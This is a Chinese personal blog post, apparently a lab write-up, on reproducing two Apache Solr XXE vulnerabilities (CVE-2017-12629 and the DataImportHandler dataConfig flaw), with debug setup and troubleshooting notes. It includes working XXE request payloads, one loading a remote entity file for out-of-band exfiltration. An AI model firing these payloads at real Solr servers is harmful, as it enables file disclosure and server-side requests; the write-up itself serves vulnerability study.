<!DOCTYPE html>



  


<html class="theme-next muse use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">









<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/blog/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/blog/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/blog/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/blog/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/blog/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/blog/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/blog/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="Hexo, NexT">










<meta property="og:type" content="website">
<meta property="og:title" content="leveryd个人博客">
<meta property="og:url" content="https://looklook.gitee.io/page/3/index.html">
<meta property="og:site_name" content="leveryd个人博客">
<meta property="og:locale" content="zh-Hans">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="leveryd个人博客">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/blog/',
    scheme: 'Muse',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://looklook.gitee.io/page/3/">





  <title>leveryd个人博客</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left 
  page-home">
    <div class="headband"></div>

    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/blog/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">leveryd个人博客</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/blog/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/blog/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/blog/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            
  <section id="posts" class="posts-expand">
    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://looklook.gitee.io/blog/2019/03/03/Solr漏洞分析（一）-md/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="leveryd">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="leveryd个人博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2019/03/03/Solr漏洞分析（一）-md/" itemprop="url">Solr漏洞分析（一）.md</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-03T19:26:10+08:00">
                2019-03-03
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><ul>
<li>源码版本: lucene-solr-releases-lucene-solr-6.0.0</li>
<li>IDE: IDEA</li>
<li>系统: OSX<h2 id="Ant工具"><a href="#Ant工具" class="headerlink" title="Ant工具"></a>Ant工具</h2></li>
<li><p>Mac安装Ant</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install ant</span><br></pre></td></tr></table></figure>
</li>
<li><p>Ant编译Solr</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ant idea  # 将solr源码编译成intellij idea的项目</span><br><span class="line">ant ivy-bootstrap</span><br><span class="line"></span><br><span class="line">cd solr</span><br><span class="line">ant server # 创建solr server</span><br><span class="line"></span><br><span class="line">ant使用的配置文件一般是build.xml</span><br></pre></td></tr></table></figure>
</li>
</ul>
<h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>进入<code>lucene-solr\solr\bin</code>文件夹中，运行<code>solr start -p 8988 -f -a &quot;-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988&quot;</code></p>
<p>IDEA中配置<code>-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8988</code></p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>只复现两个XXE漏洞</p>
<h2 id="CVE-2017-12629"><a href="#CVE-2017-12629" class="headerlink" title="CVE-2017-12629"></a>CVE-2017-12629</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">solr create -c test  # 创建核心test</span><br><span class="line"></span><br><span class="line">payload:</span><br><span class="line">http://localhost:8988/solr/test/select?q=&#123;!xmlparser v=&apos;&lt;!DOCTYPE a SYSTEM &quot;http://localhost:4444/executed&quot;&gt;&lt;a&gt;&lt;/a&gt;&apos;&#125;</span><br></pre></td></tr></table></figure>
<h2 id="Solr-DIH-dataConfig参数XXE漏洞"><a href="#Solr-DIH-dataConfig参数XXE漏洞" class="headerlink" title="Solr DIH dataConfig参数XXE漏洞"></a>Solr DIH dataConfig参数XXE漏洞</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">solr create -c test  # 创建核心test</span><br><span class="line"></span><br><span class="line">payload请求：</span><br><span class="line">POST /solr/test/dataimport?_=1551604400819&amp;indent=on&amp;wt=json HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:8988</span><br><span class="line">Pragma: no-cache</span><br><span class="line">Origin: http://127.0.0.1:8988</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36</span><br><span class="line">Content-type: application/x-www-form-urlencoded</span><br><span class="line">Accept: application/json, text/plain, */*</span><br><span class="line">Cache-Control: no-cache</span><br><span class="line">Referer: http://127.0.0.1:8988/solr/</span><br><span class="line">Connection: close</span><br><span class="line">Content-Length: 269</span><br><span class="line"></span><br><span class="line">command=full-import&amp;verbose=false&amp;clean=true&amp;commit=true&amp;optimize=false&amp;core=test&amp;dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:8082%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E</span><br></pre></td></tr></table></figure>
<h1 id="遇到的问题"><a href="#遇到的问题" class="headerlink" title="遇到的问题"></a>遇到的问题</h1><ol>
<li><p>没有DataImport功能，界面中报错<code>Sorry, no dataimport-handler defined!</code></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">参考</span><br><span class="line">http://blog.sina.com.cn/s/blog_4ada05f50102wmkm.html</span><br><span class="line"></span><br><span class="line">https://stackoverflow.com/questions/13913915/org-apache-solr-common-solrexception-error-loading-class-org-apache-solr-handl</span><br><span class="line"></span><br><span class="line">一句话就是需要在核心test的配置文件添加配置，文件配置路径：solr/server/solr/test/conf/solrconfig.xml</span><br><span class="line"></span><br><span class="line">添加如下：</span><br><span class="line">&lt;requestHandler name=&quot;/dataimport&quot; class=&quot;org.apache.solr.handler.dataimport.DataImportHandler&quot;&gt;</span><br><span class="line">  &lt;lst name=&quot;defaults&quot;&gt;</span><br><span class="line">    &lt;str name=&quot;config&quot;&gt;db-data-config.xml&lt;/str&gt;</span><br><span class="line">  &lt;/lst&gt;</span><br><span class="line">&lt;/requestHandler&gt;</span><br><span class="line"></span><br><span class="line">添加后会遇到两个新的问题</span><br><span class="line">1. db-data-config.xml找不到</span><br><span class="line">  解决办法：find lucene-solr-releases-lucene-solr-6.0.0 -name &quot;db-data-config.xml&quot;找到配置文件后，copy过去</span><br><span class="line">2. org.apache.solr.handler.dataimport.DataImportHandler这个类找不到</span><br><span class="line">  解决办法：参考链接，solrconfig.xml配置文件中添加lib包 &lt;lib dir=&quot;$&#123;solr.install.dir:../../../..&#125;/dist/&quot;  regex=&quot;.*dataimporthandler-.*\.jar&quot; /&gt;</span><br></pre></td></tr></table></figure>
</li>
<li><p>IDEA不支持类的定义的跳转,can not resolve symbol</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1. File-&gt;Invalidate Cache</span><br><span class="line"></span><br><span class="line">设置jdk版本为低版本</span><br></pre></td></tr></table></figure>
</li>
<li><p>不能在DocumentBuilderFactory下断点</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IDEA可以在任意异常处下断点，也很容易找到漏洞触发位置</span><br></pre></td></tr></table></figure>
</li>
<li><p>从关键字往回倒时怎么挖？(漏洞作者怎么挖的)</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">调CoreParser类的parse函数的地方太多了</span><br></pre></td></tr></table></figure>
</li>
<li><p>Solr到底是个什么鬼？</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">参考 https://www.cnblogs.com/leeSmall/category/1210814.html</span><br></pre></td></tr></table></figure>
</li>
</ol>
<h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul>
<li><a href="!http://docs.ioin.in/writeup/xianzhi.aliyun.com/_forum_topic_2177/index.html">敏信审计系列之Apache-solr框架</a></li>
<li><a href="!https://www.jianshu.com/p/4ceeb2c20002">用Intellij idea搭建solr调试环境</a></li>
<li><a href="!https://xz.aliyun.com/t/1523/">Solr XXE &amp; RCE 详细分析（附新的payload）—【CVE-2017-12629】</a></li>
<li><a href="!https://blog.csdn.net/hxxhy/article/details/81029202">Solr DIH dataConfig参数XXE漏洞</a></li>
<li><a href="!https://www.cnblogs.com/leeSmall/category/1210814.html">Solr系列介绍</a></li>
</ul>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
  </section>

  
  <nav class="pagination">
    <a class="extend prev" rel="prev" href="/blog/page/2/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/blog/">1</a><a class="page-number" href="/blog/page/2/">2</a><span class="page-number current">3</span><a class="page-number" href="/blog/page/4/">4</a><span class="space">&hellip;</span><a class="page-number" href="/blog/page/8/">8</a><a class="extend next" rel="next" href="/blog/page/4/"><i class="fa fa-angle-right"></i></a>
  </nav>



          </div>
          


          

        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      

      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">leveryd</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/blog/archives/">
              
                  <span class="site-state-item-count">8</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                
                  <span class="site-state-item-count">2</span>
                  <span class="site-state-item-name">标签</span>
                
              </div>
            

          </nav>

          

          

          
          

          
          

          

        </div>
      </section>

      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">leveryd</span>

  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Muse</a> v5.1.4</div>




        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  












  
  
    <script type="text/javascript" src="/blog/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  


  


  <script type="text/javascript" src="/blog/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/blog/js/src/motion.js?v=5.1.4"></script>



  
  

  

  


  <script type="text/javascript" src="/blog/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

</body>
</html>
